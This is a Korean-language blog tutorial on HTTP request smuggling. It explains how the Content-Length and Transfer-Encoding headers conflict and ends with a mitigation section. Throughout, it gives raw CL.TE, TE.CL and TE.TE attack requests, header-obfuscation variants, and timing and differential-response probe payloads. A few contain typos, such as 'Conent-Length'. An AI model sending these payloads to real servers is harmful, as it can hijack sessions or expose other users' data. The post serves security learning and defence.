web hacking ๐Ÿ–ฅ/techniques โŒ principles

HTTP Request Smuggling ์ทจ์•ฝ์ 

Kortsec1 2024. 12. 8. 20:36

01. HTTP Request Smuggling ์ทจ์•ฝ์ ?

HTTP Request Smuggling(HRS) ์ทจ์•ฝ์ ์€ 2005๋…„ ๋ฐœ๊ฒฌ๋˜์—ˆ๋‹ค. Front-end ์„œ๋ฒ„์™€ Back-end ์„œ๋ฒ„ ๊ฐ„์˜ ๋ถˆ์ผ์น˜๋ฅผ ์ด์šฉํ•ด ์ถ”๊ฐ€์ ์ธ Request๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๋‹ค.

[IMG1] HTTP Request Smuggling

  • Front-end : Content-Length ํ—ค๋”๋ฅผ ์šฐ์„ ์‹œ
  • Back-end : Transfer-Encoding ํ—ค๋”๋ฅผ ์šฐ์„ ์‹œ

์œ„์™€๊ฐ™์€ ์˜ˆ์‹œ ํ™˜๊ฒฝ์—์„œ ์•ผ๊ธฐ๋  ์ˆ˜ ์žˆ๋Š” ๋ณด์•ˆ๋ฌธ์ œ๋Š” ๊ถŒํ•œ ์ƒ์Šน(Privilege Escalation), ์„ธ์…˜ ํ•˜์ด์žฌํ‚น(Session Hijacking), ๋ฏผ๊ฐํ•œ ์ •๋ณด ๋…ธ์ถœ(Critical Info Leak) ๋“ฑ์ด ์žˆ๋‹ค.

02. HRS์˜ ๋ฐฐ๊ฒฝ, HTTP Request ํ—ค๋”

HTTP/1 ์š”์ฒญ์˜ ๋์„ ํŒ๋‹จํ•˜๋Š” ๋ฐฉ์‹์—๋Š” Content-Length ํ—ค๋”์™€ Transfer-Encoding ํ—ค๋”๋ฅผ ์ด์šฉํ•œ ๋‘ ๊ฐ€์ง€ ๋ฐฉ์‹์ด ์กด์žฌํ•œ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๋Œ€๋ถ€๋ถ„์˜ HRS ์ทจ์•ฝ์  ๋ฐœ์ƒ์˜ ์›์ธ์€ ์—ฌ๊ธฐ์„œ ๋น„๋กฏ๋œ๋‹ค.

1) Content-Length

Content-Length ํ—ค๋”๋Š” HTTP Request์˜ Body ๊ธธ์ด๋ฅผ ๋ฐ”์ดํŠธ ๋‹จ์œ„๋กœ ๋ช…์‹œํ•œ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ์š”์ฒญ์˜ ๋์„ ๋ช…ํ™•ํ•˜๊ฒŒ ์ •์˜ํ•  ์ˆ˜ ์žˆ๋‹ค.

POST /search HTTP/1.1
HOST: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

x=smuggling

2) Transfer-Encoding

Transfer-Encoding ํ—ค๋”๋Š” ์š”์ฒญ ๋ณธ๋ฌธ์ด ํ•˜๋‚˜ ์ด์ƒ์˜ ์ฒญํฌ ์ธ์ฝ”๋”ฉ๋œ ๋ฉ”์„ธ์ง€๋ฅผ ํฌํ•จํ• ๋•Œ ์‚ฌ์šฉ๋œ๋‹ค. ๊ฐ ์ฒญํฌ๋Š” ์ฒญํฌ ๋ฉ”์‹œ์ง€์˜ ๊ธธ์ด(16์ง„์ˆ˜ ํ˜•์‹), ๋ฉ”์‹œ์ง€ ๋ณธ๋ฌธ์„ ํฌํ•จํ•˜๊ณ  0์„ ๋์œผ๋กœ ์ข…๋ฃŒ๋จ์„ ์•Œ๋ฆฐ๋‹ค.

POST /search HTTP/1.1
HOST: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
x=smuggling
0

์œ„ ํ—ค๋”๋“ค์„ ๋™์‹œ์— ์‚ฌ์šฉํ•  ๊ฒฝ์šฐ ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค. ๋ฌผ๋ก  ์ด๋ฅผ ๋ง‰๊ธฐ ์œ„ํ•ด ํ•˜๋‚˜์˜ ์„œ๋ฒ„์ธ ์ƒํƒœ์˜ ๊ฒฝ์šฐ Content-Length ํ—ค๋”๊ฐ€ ๋ฌด์‹œ๋˜๋Š” ์‹์˜ ๋ณดํ˜ธ์ฑ…์ด ๋ฐœ๋™๋œ๋‹ค. ํ•˜์ง€๋งŒ ๋‘๊ฐœ ์ด์ƒ์˜ ์—ฐ๊ฒฐ๋œ ์„œ๋ฒ„๋ฅผ ์šด์šฉํ•  ๊ฒฝ์šฐ ํŠนํžˆ Transfer-Encoding ํ—ค๋”๋ฅผ ์ง€์›ํ•˜๋Š” ์„œ๋ฒ„์™€ ์ง€์›ํ•˜์ง€ ์•Š๋Š” ์„œ๋ฒ„๊ฐ€ ์—ฐ๊ฒฐ๋˜์–ด ์žˆ๋Š” ๊ฒฝ์šฐ ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•˜๊ฒŒ ๋œ๋‹ค.

HTTP/2 end-to-end ์„ ์‚ฌ์šฉํ•˜๋Š” ์›น ์‚ฌ์ดํŠธ๋“ค์€ HRS ๊ณต๊ฒฉ์— ๋ฉด์—ญ์ด ์žˆ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ ๋ถˆํ™•์‹คํ•œ ์ •๋ณด์˜ ๊ธธ์ด๋ฅผ ๋ณด๋‚ด๋„ HTTP/2์˜ ๊ฐ•๋ ฅํ•œ ๋‹จ์ผ ๋ฉ”์ปค๋‹ˆ์ฆ˜์ด ์ด๋ฅผ ์ •ํ™•ํ•˜๊ฒŒ ์ฒ˜๋ฆฌํ•˜๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ํ•˜์ง€๋งŒ ์ˆ˜๋งŽ์€ ์›น์‚ฌ์ดํŠธ๋“ค์€ HTTP/2 front-end ์„œ๋ฒ„๋ฅผ ๋‘๋Š” ๋™์‹œ์— HTTP/1๋งŒ์„ ์ง€์›ํ•˜๋Š” back-end ์„œ๋ฒ„๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ๋งŒ๋“ค์–ด์ง„๋‹ค. ์ด๋Š” HTTP downgrading์„ ์ด์šฉํ•ด ํ•ด๊ฒฐ ๊ฐ€๋Šฅํ•˜๋‹ค.

03. HRS ์ทจ์•ฝ ์œ ํ˜•

๊ธฐ๋ณธ์ ์ธ HRS ๊ณต๊ฒฉ์€ Content-Lengthํ—ค๋”์™€ Transfer-Encodingํ—ค๋”๋ฅผ ๋ชจ๋‘ ํฌํ•จ์‹œํ‚จ๋‹ค. ์›ํ™œํ•œ ์„ค๋ช…์„ ์œ„ํ•ด ์ง€๊ธˆ๋ถ€ํ„ฐ Content-Length์™€ Transfer-Encoding์„ ๊ฐ๊ฐ CL๊ณผ TE๋ผ๊ณ  ์ง€์นญํ•˜๊ฒ ๋‹ค. front-end ์„œ๋ฒ„์™€ back-end ์„œ๋ฒ„์˜ ํŠน์ง•์— ๋”ฐ๋ผ ๋‹ค์–‘ํ•œ ์ทจ์•ฝ ์œ ํ˜•์ด ์กด์žฌํ•œ๋‹ค.

  • CL.TE : front-end ์„œ๋ฒ„๊ฐ€ CL ํ—ค๋”๋ฅผ ์ด์šฉํ•˜๊ณ , back-end ์„œ๋ฒ„๊ฐ€ TE ํ—ค๋”๋ฅผ ์ด์šฉํ•  ๋•Œ
  • TE.CL : front-end ์„œ๋ฒ„๊ฐ€ TE ํ—ค๋”๋ฅผ ์ด์šฉํ•˜๊ณ , back-end ์„œ๋ฒ„๊ฐ€ CL ํ—ค๋”๋ฅผ ์ด์šฉํ•  ๋•Œ
  • TE.TE : ๋‘ ์„œ๋ฒ„ ๋ชจ๋‘ TE ํ—ค๋”๋ฅผ ์ง€์›ํ•˜์ง€๋งŒ, ํ—ค๋”๋ฅผ ํŠน์ •ํ•œ ๋ฐฉ์‹์œผ๋กœ ์กฐ์ž‘ํ•˜์—ฌ ํ•œ ์„œ๋ฒ„๊ฐ€ ์ •์ƒ์ ์œผ๋กœ ์ฒ˜๋ฆฌํ•˜์ง€ ๋ชปํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์„ ๋•Œ

CL.TE

POST / HTTP/1.1
Host: kortsec1.com
Conent-Length: 10
Transfer-Encoding: chunked

0

KANYE

front-end ์„œ๋ฒ„๋Š” CL์„, back-end ์„œ๋ฒ„๋Š” TE๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ํ™˜๊ฒฝ์—์„œ์˜ ๊ณต๊ฒฉ์ด๋‹ค. front-end ์—์„œ๋Š” CL์„ ํ†ตํ•ด “KANYE”๊นŒ์ง€์˜ ์ •๋ณด๋ฅผ ๋ฐ›์•„์˜จ๋‹ค. ํ•˜์ง€๋งŒ back-end์—์„œ๋Š” TE ํ—ค๋”๋ฅผ ํ†ตํ•ด 0 ์„ ๋งŒ๋‚˜๋ฉฐ ์š”์ฒญ์˜ ๋์ด๋ผ ํŒ๋‹จํ•˜๋ฉฐ “KANYE”๋Š” ๋‚จ๊ฒŒ ๋œ๋‹ค. ์ด๋ ‡๊ฒŒ ๋‚จ์€ ๋ฐ์ดํ„ฐ๋Š” ๊ทธ ๋‹ค์Œ ์š”์ฒญ์ด ์žˆ๋Š” ์ˆœ๊ฐ„์— ์ฝํžˆ๊ฒŒ ๋œ๋‹ค.

TE.CL

POST / HTTP/1.1
Host: kortsec1.com
Content-Length: 3
Transfer-Encoding: chunked

5
KANYE
0

front-end ์„œ๋ฒ„๋Š” TE๋ฅผ, back-end ์„œ๋ฒ„๋Š” CL์„ ์‚ฌ์šฉํ•˜๋Š” ํ™˜๊ฒฝ์—์„œ์˜ ๊ณต๊ฒฉ์ด๋‹ค. front-end๋Š” TE์— ๋”ฐ๋ผ ํ•ด๋‹น ์š”์ฒญ์˜ ๋ฐ์ดํ„ฐ๋ฅผ ๋ชจ๋‘ ๋ฐ›์•„๋“ค์ธ๋‹ค. 5๋Š” ๋ณธ๋ฌธ “KANYE”์˜ ๊ธธ์ด๋ฅผ, ๋งˆ์ง€๋ง‰ 0์€ ์š”์ฒญ์˜ ์ข…๋ฃŒ๋ฅผ ๋œปํ•œ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๋งˆ์ง€๋ง‰ 0์˜ ๋’ค์—๋Š” “\r\n\r\n”์ด ์ด์–ด์„œ ๋‚˜์™€์•ผ ํ•œ๋‹ค. ์ด๋ ‡๊ฒŒ ์ „๋‹ฌ๋ฐ›์€ ์š”์ฒญ์€ back-end ์„œ๋ฒ„์—์„œ ๋ณ€ํ™”๊ฐ€ ์ƒ๊ธฐ๋Š”๋ฐ, CL์„ ์‚ฌ์šฉํ•˜๋Š” back-end ํ™˜๊ฒฝ์—์„œ๋Š” 3์ด๋ผ๋Š” ๊ฐ’์„ ํ† ๋Œ€๋กœ “5\r\n” ๋งŒ์„ ๋ฐ›์•„๋“ค์ธ๋‹ค. “KANYE”๋“ฑ์˜ ๋‚˜๋จธ์ง€ ๋ฐ์ดํ„ฐ๋Š” back-end ์„œ๋ฒ„์— ๋‚จ๊ฒŒ ๋˜๊ณ , ์ด๋Š” ๋‹ค์Œ๋ฒˆ ์š”์ฒญ์˜ ์‹œ์ž‘์œผ๋กœ ๋ฐ›์•„๋“ค์ด๊ฒŒ ๋œ๋‹ค.

TE.TE

front-end ์„œ๋ฒ„์™€ back-end ์„œ๋ฒ„ ๋ชจ๋‘ TE ํ—ค๋”๋ฅผ ์ง€์›ํ•˜์ง€๋งŒ, ํ—ค๋”๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ ์ด ์ค‘ ํ•œ ์„œ๋ฒ„๊ฐ€ ์ด๋ฅผ ์ •์ƒ์ ์œผ๋กœ ์ˆ˜ํ–‰ํ•˜์ง€ ๋ชปํ•˜๊ฒŒ ํ•˜๋Š” ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์ด๋‹ค. ์ด๋Š” ๋‹ค์–‘ํ•œ ํ™˜๊ฒฝ์ด ๊ฐ€์ง€๊ณ ์žˆ๋Š” ํŠน์„ฑ์„ ์•Œ๊ณ  ๊ตฌ๋ถ„ํ•˜์—ฌ ์ง„ํ–‰ํ•˜๊ธฐ์— ํ•„์ˆ˜์ ์œผ๋กœ ํ™˜๊ฒฝ์— ๋Œ€ํ•œ ์ดํ•ด๊ฐ€ ํ•„์š”ํ•˜๋‹ค.

Transfer-Encoding: xchunked
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
A: A[\n]Transfer-Encoding: chunked
Transfer-Encoding : chunked

04. HRS ์ทจ์•ฝ์  ํƒ์ง€

Timing Techniques

HRS ์ทจ์•ฝ์ ์„ ํƒ์ง€ํ•˜๋Š” ๊ฐ€์žฅ ํšจ๊ณผ์ ์ธ ๋ฐฉ๋ฒ•์œผ๋กœ Timing ๊ธฐ๋ฒ•์„ ๋“ค ์ˆ˜ ์žˆ๋‹ค. ์ทจ์•ฝ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ํŠน์ • ์š”์ฒญ์„ ๋ณด๋‚ด ์ง€์—ฐ์‹œ๊ฐ„์„ ๋ฐœ์ƒ์‹œํ‚ค๋Š” ๋ฐฉ์‹์ด๋‹ค.

  • CL.TE ์ทจ์•ฝ์  ํƒ์ง€
POST / HTTP/1.1
Host: kortsec1.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

CL.TE ์ทจ์•ฝ์ ์ด ์กด์žฌํ•˜๋Š” ํ™˜๊ฒฝ์—์„œ ํƒ์ง€ํ•˜๋Š” ์ƒํ™ฉ์ด๋‹ค. front-end ์„œ๋ฒ„๋Š” CL ํ—ค๋”๋ฅผ ํ†ตํ•ด “X”๋ฅผ ์ œ์™ธํ•œ ์ •๋ณด๋งŒ์„ ๋ฐ›๊ณ , back-end ์„œ๋ฒ„๋Š” TE ํ—ค๋”๋ฅผ ํ†ตํ•ด ๋‹ค์Œ chunk๋ฅผ ๊ธฐ๋‹ค๋ฆฐ๋‹ค. ์ด ๋•Œ ์ง€์—ฐ์‹œ๊ฐ„์ด ๋ฐœ์ƒํ•˜๊ฒŒ ๋˜๋Š” ๊ฒƒ์ด๋‹ค.

  • TE.CL ์ทจ์•ฝ์  ํƒ์ง€
POST / HTTP/1.1
Host: kortsec1.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

TE.CL ์ทจ์•ฝ์ ์ด ์กด์žฌํ•˜๋Š” ํ™˜๊ฒฝ์—์„œ์˜ ํƒ์ง€ ์ƒํ™ฉ์ด๋‹ค. front-end๋Š” TE ํ—ค๋”๋ฅผ ํ†ตํ•ด 0๊นŒ์ง€์˜ ์ •๋ณด๋งŒ์„ ๋„˜๊ธด๋‹ค. ํ•œํŽธ back-end ์—์„œ๋Š” CL ํ—ค๋”์˜ ๊ฐ’์— ๋”ฐ๋ผ 6๊ธธ์ด์˜ ๋ฐ์ดํ„ฐ๋ฅผ ๊ธฐ๋‹ค๋ฆฌ๊ฒŒ ๋œ๋‹ค. ์ด๋ ‡๊ฒŒ ์ง€์—ฐ์‹œ๊ฐ„์ด ๋ฐœ์ƒํ•œ๋‹ค. ์œ„ ๋ฐฉ๋ฒ•์€ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์—๊ฒŒ ์˜ํ–ฅ์ด ์žˆ์„ ์ˆ˜ ์žˆ๋‹ค. ์นจํ•ด๋ฅผ ์ตœ์†Œํ™” ํ•˜๊ฑฐ๋‚˜ ์€๋ฐ€ํžˆ ํƒ์ง€ํ•˜๊ธฐ ์œ„ํ•ด์„  CL.TE๋ฅผ ์šฐ์„ ์ ์œผ๋กœ ์‹œํ–‰ํ•œ ํ›„์— ํ…Œ์ŠคํŠธํ•˜๋Š” ๊ฒƒ์ด ์ข‹๋‹ค.

05. HRS ์ทจ์•ฝ์  Confirming

Differential Responses

์ทจ์•ฝ์ ์˜ ์กด์žฌ๋ฅผ ํ™•์ธํ•˜์˜€์„ ๋•Œ ์ด๋ฅผ ํ™•์‹ค์‹œ ํ•˜๊ณ , ์ถ”๊ฐ€์ ์ธ ์ •๋ณด๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด ๋‘ ๊ฐ€์ง€์˜ ์š”์ฒญ์„ ๋ณด๋‚ด๋Š” ๋ฐฉ๋ฒ•์ด๋‹ค. ์šฐ์„  ๋‹ค์Œ ์š”์ฒญ์— ์˜ํ–ฅ์„ ์ฃผ๊ธฐ ์œ„ํ•ด ์งœ์—ฌ์ง„ ๊ณต๊ฒฉ์š”์ฒญ์„ ๋ณด๋‚ธ๋‹ค. ๊ทธ ๋‹ค์Œ ์ •์ƒ์ ์ธ ์š”์ฒญ์„ ๋ณด๋‚ด, ์˜ˆ์ƒํ•œ ๋ฐ˜์‘์„ ๋ณด์ด๋Š”์ง€ ํ™•์ธํ•œ๋‹ค.

POST /search HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=kanyewest

์œ„ ์š”์ฒญ์€ ๋‘๋ฒˆ์งธ๋กœ ๋ณด๋‚ผ ์ •์ƒ์ ์ธ ์š”์ฒญ์ด๋‹ค. ๊ฐœ๋ณ„์ ์œผ๋กœ ๋ณด๋‚ธ๋‹ค๋ฉด ์ •์ƒ์ ์ธ ๋ฐ˜์‘์„ ๋ณด์ด๊ฒ ์ง€๋งŒ, ๊ณต๊ฒฉ์š”์ฒญ ์ดํ›„์— ๋ณด๋‚ธ๋‹ค๋ฉด ๋‹ค๋ฅธ ๋ฐ˜์‘์ด ๋‚˜ํƒ€๋‚  ๊ฒƒ์ด๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์ด์— ๋•Œ๋ผ CL.TE ๋‚˜ TE.CL ์ด ๊ฒฐ์ •๋œ๋‹ค.

  • CL.TE
POST /search HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
q=kanyewest&x=
0

GET /404 HTTP/1.1
Foo: x

CL.TE ์ทจ์•ฝ์ ์ด ์žˆ๋Š” ์ƒํ™ฉ์˜ ํƒ์ง€๋ฒ•์ด๋‹ค. ์œ„ ๊ณต๊ฒฉ ์š”์ฒญ์ด ์„ฑ๊ณต์ ์ด๋ผ๋ฉด, ๋งˆ์ง€๋ง‰ ๋‘ ์ค„์€ back-end ์„œ๋ฒ„์—์„œ ๋‹ค์Œ ์š”์ฒญ์˜ ์ผ๋ถ€๋กœ ์ทจ๊ธ‰๋  ๊ฒƒ์ด๋‹ค. ๊ทธ๋ฆฌํ•˜์—ฌ ๋‹ค์Œ ์ •์ƒ์ ์ธ ์š”์ฒญ์„ ๋ณด๋‚ด๋ฉด ์•„๋ž˜์™€ ๊ฐ™์€ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜จ๋‹ค.

GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=kanyewest
  • TE.CL
POST /search HTTP/1.1
Host: korsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

71
GET /404 HTTP/1.1
Host: kortsec1.com
Content-type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

TE.CL ์ทจ์•ฝ์ ์ด ์žˆ๋Š” ์ƒํ™ฉ์ด๋‹ค. ์œ„ ๊ณต๊ฒฉ ์š”์ฒญ์„ ๋ณด๋‚ด๊ณ  ๋‚˜๋ฉด, front-end ์„œ๋ฒ„๋Š” ๋ชจ๋“  ์ •๋ณด๋ฅผ ๋ณด๋‚ด๊ณ  back-end ์„œ๋ฒ„๋Š” CL ํ—ค๋”์— ๋”ฐ๋ผ “GET” ์ดํ›„์˜ ์ •๋ณด๋Š” ๋‹ค์Œ ์š”์ฒญ์œผ๋กœ์จ ๋ฐ›๊ฒŒ ๋œ๋‹ค. ๊ทธ๋ ‡๊ฒŒ ์ •์ƒ ์š”์ฒญ์„ ๋ณด๋‚ด๋ฉด ์•„๋ž˜์™€ ๊ฐ™์ด ๋ณด๋‚ด๋Š” ๊ผด์ด ๋˜๋Š” ๊ฒƒ์ด๋‹ค.

GET /404 HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

x=
0

POST /search HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=kanyewest

06. ๋ณด์•ˆ

์ด๋Ÿฌํ•œ HRS ์ทจ์•ฝ์ ์„ ์˜ˆ๋ฐฉํ•˜๊ธฐ ์œ„ํ•ด์„  ์—ฌ๋Ÿฌ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์ด ์กด์žฌํ•œ๋‹ค.

  • HTTP/2 end to end ๋ฅผ ์‚ฌ์šฉํ•˜๊ณ , HTTP downgrading์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๋Š” ๋ฐฉ๋ฒ•

HTTP/2๋Š” ์š”์ฒญ์˜ ๊ธธ์ด ํŒ๋‹จ์— ์žˆ์–ด ๊ฐ•๋ ฅํ•œ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ์‚ฌ์šฉํ•˜๊ธฐ ๋•Œ๋ฌธ์— end to end ์‚ฌ์šฉ์‹œ ๋ณธ์งˆ์ ์œผ๋กœ HRS ์˜ˆ๋ฐฉ์ด ๊ฐ€๋Šฅํ•˜๋‹ค. ํ•˜์ง€๋งŒ ๋ถˆ๊ฐ€ํ”ผํ•˜๊ฒŒ HTTP downgrading ์„ ํ”ผํ•  ์ˆ˜ ์—†๋‹ค๋ฉด, ์ˆ˜์ •๋œ ์š”์ฒญ์„ HTTP/1.1์—์„œ ํ™•์‹คํ•˜๊ฒŒ ๊ฒ€์ฆํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์•ผํ•œ๋‹ค.

  • ๋ถ„๋ช…์น˜ ์•Š์€ ์š”์ฒญ์— ๋Œ€ํ•œ ์ฒ˜๋ฆฌ

front-end ์„œ๋ฒ„์—์„œ๋Š” ๋ถˆํ™•์‹คํ•œ ์š”์ฒญ์— ๋Œ€ํ•ด ์ •์ƒํ™” ์‹œํ‚ค๊ณ  ๋ณด๋‚ด๊ฒŒ ํ•œ๋‹ค. back-end ์„œ๋ฒ„์—์„œ๋„ ์—ฌ์ „ํžˆ ๋ถˆํ™•์‹คํ•œ ์š”์ฒญ์— ๋Œ€ํ•ด์„œ๋Š” ๋ง‰๊ณ  TCP ์—ฐ๊ฒฐ์„ ๋‹ซ์•„์•ผ ํ•œ๋‹ค.

  • ์—๋Ÿฌ์— ๋Œ€ํ•œ ํ™•์‹คํ•œ ์ฒ˜๋ฆฌ

์„œ๋ฒ„ ์ธก exception์ด ๋ฐœ์ƒํ•œ๋‹ค๋ฉด ์—ฐ๊ฒฐ์„ ๋‹ซ์•„์•ผ ํ•˜๊ณ , ์ด๋Š” ๊ธฐ๋ณธ์ ์ด์ง€๋งŒ ๋ฐฉ์‹ฌํ•˜๊ธฐ ์‰ฌ์šด ์ค‘์š”ํ•œ ์‚ฌํ•ญ์ด๋‹ค.

'web hacking ๐Ÿ–ฅ > techniques โŒ principles' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

Advanced Request Smuggling  (2) 2024.12.15
HTTP Request Smuggling Exploit  (0) 2024.12.10
Race Condition  (0) 2024.04.05
SSTI - RCE(Remote Code Execution) ์—ฐ๊ณ„ ๊ณต๊ฒฉ  (0) 2023.10.13